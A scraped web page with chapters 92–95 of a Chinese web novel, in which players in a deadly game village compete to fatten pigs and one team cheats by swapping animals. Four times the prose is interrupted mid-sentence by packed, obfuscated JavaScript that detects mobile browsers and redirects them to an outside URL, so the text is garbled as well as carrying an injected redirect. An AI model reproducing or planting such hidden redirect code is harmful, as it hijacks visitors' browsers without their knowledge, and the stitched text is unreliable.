l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915915|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,郝荨没有再听,这两个团队的表情都很正常—— 不对,小高呢? 她记得那个人高马大的寸头二流子一直跟在郑哥身边,现在怎么也不见了? 霍格也发现了不对,他开口道:“我去找。” 郝荨点头:“小心点。” 霍格身形一闪,也不知道他怎么做到的,这么挤的地方竟然能轻松退出,不过他很快又闪了进来。 身后跟着肿了一张脸但依然骄傲仰头的余逸,见到她们后,余逸扬起了个大大的笑脸,他身上衣服皱巴巴的,从人群外挤了进来。 “玛弥!” 说话间,牵动了他青紫的嘴角,痛得他龇牙咧嘴。 郝荨脸色一下沉了下来:“怎么回事?” 她越过他往后看,正好看到小高从屋子后面走了出来,他眼神阴狠,见郝荨看去,还伸出两根手指指了指自己的眼睛,又指了指郝荨,然后比了个割喉的姿势。 郝荨冷笑,正打算做些什么,视野却被挡住。 余逸微微屈膝,将那张肿着的狗脸塞到郝荨面前,他小声邀功道:“荨姐,你看!” 一枚圆溜溜的乌神尸骨赫然出现在他掌心,他吹了口气,把上面的灰尘吹得干干净净才递给郝荨。 郝荨没接:“是小高打的你?” 余逸有点不知所措,他感觉自己好像做错了什么,求救地望了一眼霍格,只得到了一个瞬间移开的视线。 “……荨姐,可以抽奖了!” “是他。” 余逸偷偷看了抱着兔子方柚柚一眼,方柚柚爱莫能助地耸耸肩,倒是她怀里的兔子龇牙露出了个凶狠表情。 “我、我也打他了!我们是打架!互殴!” 郝荨深呼吸一口气:“没事,一会儿再说。” 她接过那颗乌神尸骨,这颗和她的【乌神尸骨·残】虽然长得一样,作用却是天差地别—— 【乌神尸骨:陨落的神明哪怕只剩尸骨也有奇特的作用。】 【说明:喂给乌金,它会即刻增重100kg,变成你喜欢的模样。】 这么多?! 她有些迟疑,这个抽奖万一只是骗氪,真·乌神尸骨没什么作用的话,那不是亏大发了吗! 【检测到玩家拥有“乌神尸骨”X1,已自动为您兑换抽奖机会。】 【抽奖中——】 郝荨:! 这还有天理吗?! 怎么还自动扣钱!取消!我要取消! 【砰!】 礼花绽放。 【恭喜玩家!】 【抽奖进度达成!】 郝荨睁大双眼,那进度条最后一点也被填满,要来了! 【好消息!好消息!】 【您已获得“真·乌神尸骨”,现在仅需三次抽奖机会便可将“真·乌神尸骨”兑换到游戏副本“乌鬼村”中,请玩家再接再厉,加油!】 郝荨:…… 淦! 她就知道! “哐——” 一声锣响,广场一下安静下来,村长爷爷拄着拐走到大家跟前,他没牙的嘴巴憋着,用尽权力含糊地吼了一句: “评比开始!牵——乌金!” 众人纷纷回头,每个村民的眼中都带上期盼和一些说不清楚的奇怪情绪。 不远的街道上响起了沉重的脚步声,乌金——上场了。 92. 乌鬼村13 雾气浓得像是化不开的墨,将整个乌鬼村笼罩在一片朦胧之中。 一声高亢的唢呐声传来,然后,敲锣声、打鼓声和听不懂的山歌一并从雾中响起,村长撕扯着嗓子大声吼道: “乌金——上场!” “咚、咚、咚……” 乌大娘不知什么时候跟到了郝荨身后,她笑眯眯地看着,轻声开口:“欢迎参加乌神节!” 她的声音很轻,却一下就传入了郝荨的耳朵。 郝荨眉心微动,是她的错觉吗?总觉得这声音像是从很远的地方传来的,带着点不真实的空洞。 打头的村民喜气洋洋,手里捧着一个栩栩如生的雕像,是庙里见过的那尊乌神头颅,唯一的区别是这里的乌神雕像都垂着眼,看起来非常平静。 乌金候选从他身后的雾气中慢慢显现,除了郝荨他们几个玩家选择的三只以外,这里少说还有二十几头小乌金,其中,有三只乌金最为显眼—— 两大一小。 最大的就是郝荨他们选择的那头,乌金老实地趴在木板上,不知道是睡着了还是怎么,一点反应都没有,只在经过他们时眼神微微一动。 跟它一起当难兄难弟的是另一头乌金,虽然比不上郝荨他们这头,也比其他乌金大上许多,郝荨踮脚看了眼木牌,是灵秀他们选择的那头。 至于最后一头…… 看清时,她忽的一愣,这头最小的上面竟然写着郑哥三人的名字。 怎么会? “哇!我们赢定了!”余逸伸手想要跟其他人击掌,却对上了三张面无表情的脸。 郝荨眉头紧锁,隐隐感觉到一丝不安。 以这只猪的体型而言,别说长大多少,它看起来甚至比开始的时候还要瘦小,像是没吃过一顿饱饭似的。 郝荨唰的扭头,郑哥似乎察觉到她的视线,冲她温和地笑了笑。 不对劲,这不对劲! 广场中央设置了一个高台,乌金们被一个个关在高台上的木笼里,塞郝荨他们的那只时还费了老鼻子劲,村长兴奋地看着这一幕,一时间眼睛也不花耳朵也不聋了: “好啊!好啊!看来我们这届的乌神可以提前选出了!” 村民们一下欢呼起来,看起来比他们自己赢了还要激动。 村长伸手将大家压下:“不过,规矩还是要守的,二牛!二牛!” 一个看着约有六十多岁的小老头从人群里挤出。 “来,咱们来称一下乌金先生们的重量!”村长招手喊道。 村民们做这些都是做惯了的,手脚麻利得很,大家都围在高台下看着,每出一个结果大家就会欢呼一声,方柚柚仗着人小,挤到最前面去听数字,余逸本来也想挤,但他人高马大的,死活进不去,只好当个氛围组。 郝荨余光时不时地瞥过另外两组:“奇怪……” 灵秀这组什么时候和郑哥他们挤到一起去了? 虽然两边人没有说话,但无论是距离还是气氛,都有点欲盖弥彰的意思。 她皱起眉毛,心里涌出一股不好的预感。 “我们第一!”方柚柚喘着气,从人群中挤回。 她的记忆力非常好,清晰地记得每一组的数据,他们这组的乌金遥遥领先,和第二名都有壁,何况更后头的。 乌金们皮毛油亮,乖巧地趴在笼子里,只是不知道是不是郝荨的错觉,总觉得它们的眼神不像之前那样亮晶晶的,泛着股冷气。 突然,她的身边传来一阵骚动。 “诶!诶别挤啊!” “没看这边都是咱老年人吗?人家女娃娃挤一挤就算了,你这么大个挤啥?!” 郝荨回头,却发现在冲突中心站着的赫然是霍格! “怎么了?” 她拉住还想要往前的霍格,冷静点啊大哥! 没看这些村民们眼神都不善了吗! 可霍格非但没有停下,甚至还想抢隔壁老太太的拐棍! 幸好在老头老太要劈头盖脸一顿骂之前,霍格停下了动作,他面色不大好地转过头来:“姓郑的用了尸骨。” 在他开口的同时,村长爷爷用力敲了一下锣—— “铛——” 郝荨愣了一下,紧接着她望向郑哥方向,刚好看到他空空如也的手。 郑哥的脸上带着一抹若有似无的笑,他开口说了一句什么,换来了阿卜的疑惑表情。 “接下来,我们来公布本次乌金选拔的第一名!” “那就是——” 村长笑了起来,脸上的皱纹堆积在一起,眼睛却亮得惊人。 郝荨的心脏扑通扑通跳着,直到结果公布—— “小郑!小高!和卜女娃!!!” 广场上一片哗然,村民们发出兴奋的欢呼声,仿佛这一切都在他们的预料之中。 众人兴高采烈地欢呼着,方柚柚不敢相信自己的耳朵:“这不可能!” 她的记忆不会有错! 余逸也蒙了,当看到郑哥走到那只属于他们的乌金面前时,他头皮一下炸了。 “怎么回事?!那明明是我们的乌金!” 乌大娘重重拍了一下他的手臂,有些心疼道:“唉哟,娃儿你难过傻啦,再难过也不能认别人家乌金啊!你们的明明就在那儿!” 她伸出苍老但有力的手,指向角落里那个最小的木笼,里头一只瘦巴巴的小乌金正蔫蔫地趴在那,仿佛一切纷争都与它无关。 这会儿他们要是还搞不清楚发生了什么就是真的傻了。 郝荨的目光冷了下来,她定定地望着一脸不敢置信的阿卜,终于明白,自己是中了郑哥的圈套。 一开始郑哥应该是想亲身上阵来骗自己入套,但发现自己不好骗,于是干脆转了一道手,让最能放松她警惕的阿卜过来跟她谈合作。 郝荨冷笑一声,为了让他们踩入陷阱,他竟然连自己的队友也骗! “郑哥…这、这究竟是怎么回事啊?!” 好半天,阿卜才找回自己的声音,她第一反应先是看向郝荨,被对方冻人的目光吓了一跳,她打着哆嗦,边无意识摇头边拽住郑哥的袖子: “我、他们……这不是他们的猪吗?怎么变成我们的了?不是,我们不是说跟玛弥他们合作吗?怎么……” 她语无伦次地说着,郑哥一开始还耐心听,听到后面烦了,他挥手比了个抓握的手势,阿卜的声音像是被一下收住,总算是安静下来。 郑哥满意地摸了摸这只重达四百八十三斤的大猪,漫不经心道:“傻孩子,这可是迷雾游戏。” “不是你去骗人,就是你被别人骗,被骗的是棋子,骗人的——才是棋手。” 小高摸了摸自己的耳朵根,那里有一道血痕,那个一惊一乍的蠢货自然伤不了他,倒是他那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14939083|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不肯露脸的队友有点棘手。 他嘬了下腮帮子,眼神狠厉。 没关系,这个游戏里的赢家一定是他们,那个蠢货、还有他的队友早晚会死在这里! 小高咧开嘴,露出一个恶意满满的笑,冲那个一直看过来的女人比了个国际通用不雅手势,挑衅意为十足。 却没想到,那个叫玛弥的女人不怒反笑,小高心头一哽,无名火涌了出来。 “别冲动。”郑哥按住他,他居高临下地瞥了一眼,“跟死人动什么气?” 阿卜将自己移得更里,脸色一阵红一阵白,她不知道该怎么面对玛弥,也不知道该如何解释自己没有说谎。 见她这样,郑哥无奈地笑了笑:“你看,就是因为你这么天真,我才不能告诉你这些计划,不然,你都不用开口就露馅了!那我们可就输定了。” 阿卜低下头,几乎要把头埋进自己胸口。 是她没用…… “郑哥,接下来怎么做?”小高跃跃欲试。 郑哥自信一笑:“我们现在已经赢了一层,玛弥为了防我们,寸步不让,以为自己站在了第二层,实际上呢,我们已经站在了第三层,而现在,我们该去找我们真正的‘合作’对象,进入第四层了!” 他回过头,对着走来的灵秀伸出手道:“现在,我们应该是站在同一起跑线了吧?谈谈?” * 和谈笑风生的郑哥团队正相反,郝荨身边愁云惨淡,余逸抱着那只瘦巴巴的乌金,一人一猪脸上露出了如出一辙的丧气神色。 “乌神尸骨的能力还包括调换?” 方柚柚捏着“麦丽素”看了半天,睁着她那双死鱼眼很有求知欲地询问:“我能切开它看看吗?” “不能!” 余逸一把抢过,这可是他挨打…互殴换来的! “荨姐,要不……我们先不抽奖了,把这个喂给它?”他指了指怀里的乌金,有些不好意思道。 “不急。”郝荨摇摇头。 这枚乌神尸骨只能给乌金增加一百公斤,跟他们原先那只的四百八十三斤比起来无异于是杯水车薪。 一阵沉默后,余逸犹豫道:“那、那我们再去挖白土?这次带麻袋去!嘿我就不信了!比挖土,他们还能赢得过我们!” 郝荨没有接话,她在思考。 郑哥玩这么一套的意义是什么? 郝荨以前当陪玩的时候也玩过一些博弈游戏,一般情况下玩家会在开头倾向于保守行事,等第一轮局势出来再见机行事,这是最保险也最容易有收益的路线。 但也有一些玩家很特别,会专门和这类保守玩家打反逻辑,在最意想不到的时候□□来把大的,风险大收益高,当然,也很容易一把赔得倾家荡产。 她眯起眼,看着郑哥和灵秀握手,一副交谈盛欢的模样。 她知道了。 郝荨恍然大悟,郑哥可不是冲动型玩家,相反,他是聪明的鬣狗型。 鬣狗啊…… “他们合作了!荨姐,怎么办啊?!” 余逸急得好像热锅上的蚂蚁,哪怕他没什么经验,也知道打群架看的就是谁人数多! 郝荨看着灵秀那一闪而过的戒备,和站在团队边缘欲言又止的阿卜,露出了一个意味深长的笑:“放心,他再能算,也算不过人心。” “现在,真正的游戏——才刚刚开始。” 93. 乌鬼村14 “回去?” 霍格四处张望着,他很不习惯手上没有武器的日子,想找个趁手的木棍别腰上,可这地上的棍子不是不够直溜,就是太过细软,看着还不如乌大娘用的擀面杖。 不远处,村长爷爷将郑哥招呼到一边,交给了他一个小盒子。 “乌村长,这是——?” 村长捋了捋自己的长胡须,满意道:“你们把乌金先生养得不错,这是给你们的奖励,再接再厉啊!” 郑哥恍然,他瞟了眼灵秀他们状似不经意般扫来的视线,干脆地将盒子塞进兜里:“好,好!您放心,我们呀,一定会努力将乌金养大的!” 郝荨收回放在盒子上的视线:“走吧,先回屋。” 几人正要离开,一道细细的女声忽然响起: “等等!” 茶茶几步冲过来,她凑到郝荨身边,仔细观察着她的表情:“玛弥姐姐,你……你们还好吗?” 余逸一把拽过郝荨,语气夸张道:“哎哟喂!我们好吗?我们当然不好啦!” 他也不知道哪里学来的mean表情,极为浮夸地“哈!”了一声,惹得茶茶双眼泛红:“姐姐……” 郝荨探出头去凝视了她一会儿,忽然拍了拍余逸的肩膀,示意他退后: “没关系,是我们技不如人,你来找我是有什么事吗?” 茶茶似乎想说什么,但又有点害怕地看了看其余三人,她年纪很小,做出这种动作也不会让人觉得矫揉造作,只会忍不住泛起一股可怜她的情绪。 郝荨带着她走到一旁,茶茶轻轻开口:“玛弥姐姐,你们、你们接下来要怎么办啊?” 话刚出口,她仿佛意识到了不对,连忙摆手道:“我、我不是——” “你还记得我们是对手吧?” 郝荨环抱双臂,似笑非笑地看着她。 茶茶咬了咬自己的下嘴唇,最终下定决心道:“我不想看到大家死在这个游戏里!” 她眼泛泪光:“这太、太残忍了……有没有什么办法,可以让大家都不要死呢?要不…要不我把我们乌金的信息同步给你,大家让各自的乌金体重保持一样,一起赢好吗?” 郝荨呼吸微顿,但她很快就恢复了理智。 先不说迷雾游戏会不会允许这种通关方式存在,即便游戏允许,那玩家们又真的能在这种囚徒困境里依然保持对彼此的信任吗? 如果游戏允许,那“乌鬼村”副本最好的解法自然是大锅饭,只要是游戏开场时大家统一“做饭”,统一“喂养”,保证每只乌金都是一样的体重,只要他们的乌金比村民们的重,就能打出全员通关的完美结局。 可人心难测,谁能保证参加游戏的每一个人,都没有丁点的私心呢? 只要有一个人在最后一局时给自己的乌金偷偷喂养,只要一点点,他就能独拿奖励,也不用承担迷雾游戏可能会到来的怒火—— 这条路看似简单,实则反倒比他们各凭本事来的更加可怕。 郝荨上前两步靠近她,脸上扬起笑意:“你说‘大家’——也包括郑哥他们组吗?” 太近了。 茶茶的瞳孔骤然一缩,这是一个令人不适的危险距离,几乎一伸手就能触摸到她的颈动脉。 她下意识后仰,眼神中也带上了些许危险。 这道警告在下一个眨眼前又全然褪去,让人怀疑刚刚那一刻是否是幻觉。 “嗯……”茶茶眨了眨眼,“姐姐,你不想带他们吗?” 她有点苦恼地皱眉:“可灵秀姐跟他马上还要——啊!” 郝荨看着对方捂住嘴懊恼的表情,内心毫无波动。 演技有亿点点假了。 “你就是想告诉我这个?”郝荨也懒得演了,她挑了挑眉毛,“没事的话我就先走了。” “别!”茶茶拽着郝荨的袖子晃了晃。 “刚刚那个办法不好吗?这样,大家就都能活下来!” 郝荨不置可否:“如果你能说服其他人,我就同意。” “啧。” 茶茶一下没忍住,等郝荨看来时,她又是那副天真圣母的小绿茶模样: “可如果不这样的话,你们就输定了!我、我不想你死……” 她忽然想到什么,惊喜道:“难道你有什么办法吗?我可以帮你!毕竟,姐姐的队友们都靠不住呢!” 她伸出手,指向其余三人。 一个抱着瘦巴巴的小乌金迎风落泪,一个靠在树干上打瞌睡,还有一个,更是直接四仰八叉躺在了草垛里,白兔子脑袋上插了一头稻草,也跟着一起趴在草垛上,呼噜声震天响—— 这三人怎么看都是混子中的混子。 如果迷雾游戏里的玩家都是这副模样的话,游戏恐怕早就已经倒闭了! 郝荨:…… 突然,一声爆破般的大喊响起: “一晃神你怎么又不见——啊!!!” 费扬扬这个大高个气势汹汹冲来,他那双带点忧郁气质的眼睛此刻怒目圆瞪,几乎要喷火,然后被霍格伸出的腿绊了一下,径直给郝荨和茶茶拜了个大年。 茶茶:…… 她忍耐地深吸一口气,然后笑意吟吟将费扬扬扶起:“玛弥姐姐被背刺好可怜哦,我安慰安慰她嘛。” 郝荨要走开的脚步一顿。 费扬扬看起来马上就要崩溃了,他抓住茶茶的手腕,然后跟被刺了一样一下松开,退而求其次地拉住她的外套,咬牙切齿: “……你差不多得了啊!不是答应过我不会离开我的视线吗?!” 郝荨歪头看了看他们俩,感觉好像吃到了什么瓜。 或许是她的眼神实在太明显,费扬扬动作僵住,身体和卡顿了似的扭转过来,拼命摆手想要解释,但又半天说不出什么所以然来。 郝荨只当做没听见。 回屋路上,余逸抱着乌金走得很慢。 “荨姐,她找你做什么啊?” “打听情报呗,”郝荨拽着困得歪七扭八的方柚柚,思索片刻后又开口,“也可能是在给我们情报。” “啊?!”余逸吃了一惊。 就她?能给什么情报? 他们可是敌人! “总之,她这个人有点奇怪,你少招惹。” 余逸委屈道:“青天大老爷,我冤啊!都是她欺负我,我哪有招惹她!” “她反应很快。”霍格突然开口。 几秒后,他又补充了一句:“比你们都快。” 哦? 作为他们队伍的武力担当,霍格既然这么说,那茶茶的武力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954394|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值一定也很高,可她既然这么厉害,又为什么要当老板呢? 迷雾游戏虽然有老板制度,但游戏本身却并不提倡这么做,一方面是越往后的副本越困难,等到A级以上的高阶副本时,就几乎没有队伍愿意带人下本了,那是真真九死一生的局,带个老板就等于有个累赘,压力非常大。 而另一方面则是,即便你作为老板通关了这个游戏,因为贡献度不够,评价也会比其他人低,奖励也会少上许多,除非你真的无法依靠自己通关,否则这与饮鸩止渴也没什么两样。 “回来啦?” 回到土房时,恰好乌大娘从地里摘菜回来,她招呼道:“你们先把乌金送到地窖,我去做饭,今儿个吃地瓜三件套,咱们这儿的地瓜可好吃咯!” 她背篓里的地瓜一个个都跟拳头似的,余逸想帮她送进去,还被乌大娘赶了出来。 “去!去!乌金那么珍贵,怎么能让乌金进厨房呢?!快送回去!” 余逸欲言又止。 厨房不比那地牢好多了?! 他低下脑袋,看着怀里的乌金,忍不住感同身受。 小可怜!你在地窖坐牢,我在游戏里坐牢,我们都不能自由地活着! 惨,好惨啊! 他的眼泪唰一下流了出来,乌金眨了眨眼,水珠也眼里冒了出来。 一人一猪哭得凄凄惨惨戚戚。 但没有办法,冷酷无情的郝荨把乌金重新放回地窖,并且在乌金想要越狱的瞬间“砰”一下关上了盖子。 “说说吧,小高为什么打你?” “我哪知道……”余逸一瞬间梦回小学打架被老师找家长,他嘟嘟囔囔道,“他有病!而且我们是互殴!互殴!怎么就他打我——” 郝荨思考两秒,换了个语气:“那丸子呢?你是哪里找到的?太厉害了吧!我还以为这个肯定很难找,说不定到最后一天都找不到呢!没想到你这么快就找到了一颗!” 余逸尾巴一下就翘了起来,他装作不在意道:“也还好吧,就那样就找到了呗!” “哪样?说说看嘛,刚刚我也去找了一下,怎么就什么都没找到呢?” “嗐!”余逸一挥手,“我也没想到那么巧,一出门我就看见那小高进进出出别人家的屋子,好像在找什么,我马上就想到他肯定是在找丸子,所以我就也开始找。” “一开始什么都没有,那个寸头还很霸道,我还在找呢他就进来了,还踹碎了人家一个花盆,我让他捡起来他还不肯!” 余逸说着说着,语速变得快了起来,还学着人家吊儿郎当的样子演给大家看。 “他就这样,还对我翻白眼!给我气得呀!” 他气呼呼了好一会儿,才继续说:“我想着不能让人家的花盆就这么摔了呀,就把花捡起来想挖个坑种了,结果!好巧不巧!挖的坑里就有一颗丸子!” 郝荨扬起惊喜表情,非常捧场。 “可我刚捡起来,那小高又跑回来了,还说那花盆是他摔的,丸子就是他找到的!你说他是不是有病?!” 郝荨表情一收,破案了。 好家伙,新仇旧恨,让她仔细想想,接下来要怎么做。 “你们要那‘大胖丸’?” 乌大娘一把拉开窗户:“咱们家里就有啊!” 94. 乌鬼村15 “大胖丸?” 郝荨拿出那枚【乌神尸骨·残】问:“是这样的吗?” “哟!就是这个!” 乌大娘转身,不知道从哪掏出来个旧布兜,哐一下从里面倒出个小木盒,和刚刚村长爷爷塞给郑哥的一模一样。 木盒打开,里头竟然有两枚圆溜溜的红黑色丸子! “你们要啊?” 乌大娘边说话,边手脚麻利地把地瓜从灶台里铲出,她掀开锅盖,大锅里熬着的米粥里也放着地瓜。 喷香扑鼻。 郝荨忍不住咽了口口水,肚子咕咕叫了起来。 “姐姐,这是哪里来的啊?”余逸进屋帮乌大娘干活,眼睛还忍不住直勾勾地盯着乌神尸骨看。 乌大娘不在意地把丸子扔给他:“村长给的,每年乌神比拼赢的人都有。” “大娘,您也赢过吗?” 郝荨也帮忙端起碗,顺手给方柚柚和霍格手里也塞满:“赢了的乌金会怎么样呢?真的……会成为乌神吗?” 空气一下安静下来,郝荨疑惑回头,却发现乌大娘正怔怔地望着门外,好像在看院子中心那颗茂密的李子树,又好像什么都没在看。 半晌,乌大娘忽然扭过头,幽幽开口:“当然。” “它们当然都——当上乌神了。” 不等郝荨反应,乌大娘又重新扬起热情的笑:“别愣着呀,快吃!不是大娘吹,咱们这儿的地瓜可好吃了!” 她拼命给几人的手里塞地瓜,烤过的地瓜滚烫,表皮都仿佛流着蜜,等郝荨反应过来时,自己已经吃了整整五个拳头大小的地瓜,而余逸和霍格两个成年男性则更加恐怖,他们面前扒下来的地瓜皮已经堆成了一座小山! 余逸仿佛不知道饱一般拼命吃着,转瞬间就又吞了一个。 虽然都说半大小子饿死老子,但之前他可没有这么能吃,郝荨立刻警惕起来,她放下碗,在桌上磕出不轻不重的一声。 余逸没有反应。 “小余。”郝荨顶着乌大娘的视线压力撞了下他的腿,装作有话要讲的样子。 还是没反应。 郝荨看了眼刚刚囫囵吃完一碗地瓜小米粥的霍格。 对不住了家人,你个子高你扛着! 她一把抢过霍格放下的空碗,递给乌大娘:“大娘,锅里还有吗?法瑟说他还想吃。” 法瑟:? “有!当然有!多吃点,多吃是福!” 等乌大娘一进厨房,郝荨就握紧拳头梆梆给余逸来了两下。 “嘶——” 余逸本就受了伤的嘴角重重磕在碗边,雪上加霜! 但好在人是清醒了,他先是一懵,然后就只有一个感觉——好撑。 “呕!” 要吐了! 乌大娘的脚步声重新响起,眼看着她就要回来,霍格果断伸出手,一把按住余逸的嘴往上一抬—— “咕嘟。” 余逸的脸一阵扭曲,霍格这一出手,又让他强行又咽了回去。 他吸着气,扶桌站起:“那我先——” “怎么不吃了?不好吃吗?” 乌大娘和善地走到他身后,轻巧地堵住去路,余逸身形僵住:“没、好…好吃啊!谁说不好吃的?!” “那怎么不吃啦?” 乌大娘表情未变,可明明还是那副淳朴模样,四周温度却降了下来。 郝荨适时开口:“大娘,他要去厕所呢。” “对!”余逸立刻接话,“我都一天没上厕所了!老天!憋死我了!” 他挤开乌大娘,跟逃命似的跑出了屋子,乌大娘态度自然地坐回,她笑眯眯的:“我真是喜欢这小子,长得好,嘴甜,还年轻,生来啊就是要来我们乌鬼村的!” 这话说的让人不能不在意,郝荨装作一副吃醋的样子:“您怎么净欢迎他呀,我们可都是一批来这儿的,怎么还分你呀我呀的。” 方柚柚被白兔子打了一耳朵,放下了啃得干干净净的地瓜皮,后知后觉自己的肚子已经鼓了起来。 她立刻捧哏:“就是就是。” 说完,就跟着郝荨一起站了起来。 霍格把面罩重新戴起,他面无表情,语气冷淡:“早知他来,我们就不来了。” 不等乌大娘反应,三人已经借着吃醋跑路成功。 天色已晚,家家户户都在屋里吃饭,路上一个人也没有。 “我还以为乌大娘是好人……” 余逸把那两枚乌神尸骨掏出,有点惆怅。 他还以为乌大娘是游戏分配的指引员,是自己人呢。 “不管她是不是好人,我们都是那个‘外乡人’,这两颗什么作用?” 余逸递给她:“都是增重的。” 【乌神尸骨:陨落的神明哪怕只剩尸骨也有奇特的作用。】 【说明:喂给乌金,它会即刻增重50kg,变成你喜欢的模样。】 【乌神尸骨:陨落的神明哪怕只剩尸骨也有奇特的作用。】 【说明:遇上它,吃定它,选择你喜欢的乌金使用,它会立即变大一倍。】 第二颗的作用很厉害,但对于他们现在的状况来说,用处不大。 她头痛地看了眼【乌神尸骨·残】的面板,她现在离兑换还差三枚尸骨,要不要赌一下? 突然,他们被霍格一个接一个按下头去:“嘘。” “……我已经展示出了诚意,你们……” 不远处的山上走下来两拨人,郑哥的声音响起:“那么,合作愉快?” 对面那人动作微顿,然后也伸出手去:“嗯。” 是灵秀。 他们上山了? 郝荨皱眉,莫非灵秀把白土的位置共享给了郑哥? 又或者,是乌神庙? 等他们两方走远,郝荨有了决断:“不能再等了,我们要冒险上一次山。” 她望着面前的三人,开口道:“分头行动,乌神尸骨总共只有十八颗,今晚我会在村子里将剩下的都找到,另一组拿着长明灯上山,尽可能多的挖白土回来,谁跟我一组?” 余逸举手:“我上山!” 郝荨有些迟疑,她看了眼霍格,霍格无可无不可地点了下头。 “那你们注意安全。” “好!” * 郑哥心情很好地哼了首小调,重新清点了一遍手上的乌神尸骨。 小高往旁边啐了一口:“哥,我手痒。” 郑哥本来不想搭理,但小高那眼神东瞟西瞟的,恨不得下一秒就找个人打一打,阿卜吓得几乎要落后他们八丈远。 他难耐地皱了皱眉: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959486|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “再忍一忍,现在游戏才过去了三分之一,大局未定。” “切,他们还能翻盘不成!” 小高毫不在意,他们已经从村长那拿到了所有乌神候选的信息,那个叫玛弥的还真能养,硬是把三四斤的乌金养成了将近五百斤! 哈! 不过姜还是老的辣,他郑哥这一手偷龙转凤用得好啊!现在五百斤重的乌金是他们的了!而那叫小余的,只能捡捡他们故意饿瘦的小乌金了。 就算他们手里有乌神尸骨也不怕,因为他们还有王牌! “郑哥,哪个是霸王尸骨啊?” 郑哥将其他三颗收起:“喏,这个。” 这枚麦丽素光从外表上看普普通通,但能力却比调换还要特殊—— 【乌神尸骨:陨落的神明哪怕只剩尸骨也有奇特的作用。】 【说明:这是一枚霸道的乌神尸骨,使用后,你的乌金会成为其他乌金的王,无论其他乌金成长多少,他都会从中抽成10%。】 【备注:Z国有一句古话,叫xxxxxxx,请想好后再使用。】 虽然中间有一句话跟被浸染了似的看不清,但这么好用的能力,无论有什么副作用都没事啊! 如果现在有啤酒的话他已经开始提前喝庆功酒了! 小高拾起一旁的砖头往上抛了抛:“我就做掉一个,一个成吗?哥!我真忍不住了!那小子居然敢从我手里抢东西!” 想到他们丢了一颗乌神尸骨,郑哥也有点肉痛,但他还是按住了小高:“再等等,灵秀还没完全信任我们,现在不宜多生事端。” “啊?她有什么资格不信啊?我们现在才是第一!带他们玩儿是看得起他们!” 郑哥似笑非笑瞥了他一眼,小高才想起他们确实是要坑人,他“嘿嘿”笑了两声,挠了挠头。 “说起来,咱们为什么要用一样的套路啊,换我我也不信啊!” 郑哥推了推眼镜:“是啊,你当然不会信。” 他清清嗓子:“你记住一件事,同样的手段在一场游戏里不能用第二次?那是场上只有蠢货时要做的事。” 小高一愣。 “而灵秀,她有两个身份,一,她是个女人,二,她很聪明。” “聪明人会根据对手的行为逻辑来推测对方的下一步行动,小高,如果你是个聪明人,跟我打架,我上一把打的是你的头,下一把你认为我还会打头吗?” 小高想也不想:“当然不会!你那么聪明,肯定不会再打第二次——” 小高恍然大悟。 但他还是有点想不通:“我们打反逻辑,那万一她也觉得我们在打反逻辑呢?” 郑哥笑了:“那就到她第二个身份起作用的时候了。” “啥意思?” “女人呢有个最大的弱点,就是善良,”郑哥摇摇头,脸上带着怜悯,“我们一开始就表达了愿意跟他们结盟的想法,也约定了我们会在第一轮拿到冠军,这样第二轮就可以让他们当冠军。” “现在,我们做到了我们的承诺,既没有从他们那里得到好处,也没有率先背叛他们,她没有理由,也不会允许她自己率先背叛我们。” “这就是女玩家最大的弱点,她们的道德太高了——” “——而迷雾游戏,最应该抛弃的,就是道德。” 95. 乌鬼村16 村里人大多日出而作日入而息,睡得很早,才八点多,就已经没有几户还亮着灯了。 如果灵秀没有骗人的话,乌神尸骨总共有十八枚,目前她掌握的线索里,灵秀手中明确有一枚,郑哥赢得评选得到了一颗,加上她手中的三颗普通尸骨和一颗真·尸骨,一共六枚。 不过之前郑哥团队一直待在村子里,想必已经搜刮过一遍,保险起见,她决定使用天赋技能。 【资本家天赋技能使用——我是自愿加班的!】 【请选择召唤员工。】 郝荨猛地抬手指向月亮:“出来吧!两千块!” 一只洗得干干净净毛发蓬松的棕黄色大狗从月光中显现,见到主人,两千块兴冲冲地扑了上来,张开嘴就要叫,被郝荨一把捏住。 “嘘!安静!” 两千块很捅人性的小声“呜呜”了两声。 人,快松手!狗知道啦! 方柚柚喜出望外:“你把它带出去了?!” 她伸出手:“嘬嘬嘬。” “嗯。”郝荨点点头,她轻轻点了点两千块的鼻头,“回头你来游乐园再玩,我们只有十分钟。” “好吧。” 